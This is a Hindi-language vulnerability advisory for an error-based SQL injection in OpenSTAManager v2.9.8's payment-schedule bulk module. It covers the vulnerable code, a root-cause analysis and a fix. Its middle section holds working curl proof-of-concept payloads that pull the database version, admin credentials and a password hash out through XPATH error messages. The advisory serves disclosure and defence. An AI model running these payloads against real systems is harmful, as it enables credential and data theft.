
CVE-2026-24418 - OpenSTAManager में Scadenzario बल्क ऑपरेशन मॉड्यूल में SQL इंजेक्शन भेद्यता है
| फ़ील्ड | विवरण |
|---|
| CVE आईडी | CVE-2026-24418 |
| गंभीरता | उच्च |
| सलाह | सलाह देखें |
| द्वारा खोजा गया | Lukasz Rybak |
OpenSTAManager v2.9.8 के Scadenzario (भुगतान अनुसूची) बल्क ऑपरेशंस मॉड्यूल में एक गंभीर त्रुटि-आधारित SQL इंजेक्शन कमजोरी प्रमाणित हमलावरों को XML त्रुटि संदेशों के माध्यम से उपयोगकर्ता क्रेडेंशियल, ग्राहक PII और वित्तीय रिकॉर्ड सहित संपूर्ण डेटाबेस सामग्री निकालने की अनुमति देती है।
स्थिति: ✅ लाइव इंस्टेंस पर पुष्टि और परीक्षण किया गया (v2.9.8)
कमजोर पैरामीटर: id_records[] (POST सरणी)
प्रभावित एंडपॉइंट: /actions.php?id_module=18 (Scadenzario मॉड्यूल)
हमले का प्रकार: त्रुटि-आधारित SQL इंजेक्शन (IN खंड)
OpenSTAManager v2.9.8 में Scadenzario (भुगतान अनुसूची) मॉड्यूल के बल्क ऑपरेशंस हैंडलर में एक गंभीर त्रुटि-आधारित SQL इंजेक्शन कमजोरी है। एप्लिकेशन यह सत्यापित करने में विफल रहता है कि id_records सरणी के तत्व SQL IN() खंड में उपयोग करने से पहले पूर्णांक हैं, जिससे हमलावर मनमाने SQL कमांड इंजेक्ट कर सकते हैं और XPATH त्रुटि संदेशों के माध्यम से संवेदनशील डेटा निकाल सकते हैं।
कमजोरी श्रृंखला:
प्रवेश बिंदु: /actions.php (पंक्तियाँ 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
array_clean() फ़ंक्शन केवल खाली मानों को हटाता है - यह प्रकारों को मान्य नहीं करता।
कमजोर फ़ंक्शन: /lib/util.php (पंक्तियाँ 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
प्रभाव: फ़ंक्शन खाली मानों को फ़िल्टर करता है लेकिन किसी भी गैर-खाली मान को स्वीकार करता है, जिसमें SQL इंजेक्शन पेलोड शामिल हैं।
SQL इंजेक्शन बिंदु: /modules/scadenzario/bulk.php (पंक्ति 88) प्राथमिक कमजोरी
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
प्रभाव: $id_records से सरणी तत्वों को implode() का उपयोग करके सीधे जोड़ दिया जाता है, बिना प्रकार सत्यापन या prepare() के, जो पूर्ण SQL इंजेक्शन को सक्षम करता है।
मूल कारण विश्लेषण:
कमजोरी इसलिए मौजूद है क्योंकि:
post('id_records') उपयोगकर्ता-नियंत्रित सरणी लौटाता हैarray_clean() केवल खाली मानों को हटाता है, गैर-पूर्णांक मानों को नहींimplode(',', $id_records) सरणी तत्वों को सीधे SQL में जोड़ता हैid_records[]=1&id_records[]=(दुर्भावनापूर्ण SQL)#प्रभावित कोड पथ:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [कोई प्रकार सत्यापन नहीं]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [इंजेक्शन बिंदु]
चरण 1: लॉगिन
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
चरण 2: कमजोरी सत्यापित करें (त्रुटि-आधारित SQL इंजेक्शन)
परीक्षण 1: डेटाबेस उपयोगकर्ता और संस्करण निकालें
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
प्रतिक्रिया (हमलावर को दिखाई देने वाला त्रुटि संदेश):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
परीक्षण 2: व्यवस्थापक क्रेडेंशियल निकालें
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
प्रतिक्रिया:
<code>XPATH syntax error: '~admin:[email protected]'</code>
परीक्षण 3: पासवर्ड हैश निकालें (भाग 1 - पहले 31 अक्षर)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
प्रतिक्रिया:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
परीक्षण 4: पासवर्ड हैश निकालें (भाग 2 - अक्षर 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
प्रतिक्रिया:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
संयुक्त पासवर्ड हैश:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Scadenzario (भुगतान अनुसूची) मॉड्यूल बल्क ऑपरेशंस तक पहुंच वाले सभी प्रमाणित उपयोगकर्ता।
अनुशंसित सुधार:
प्राथमिक सुधार - प्रकार सत्यापन:
फ़ाइल: /modules/scadenzario/bulk.php
पहले (कमजोर - पंक्ति 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
बाद में (ठीक किया गया):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Łukasz Rybak द्वारा खोजा गया
यह CVE समन्वित कमजोरी प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहां प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।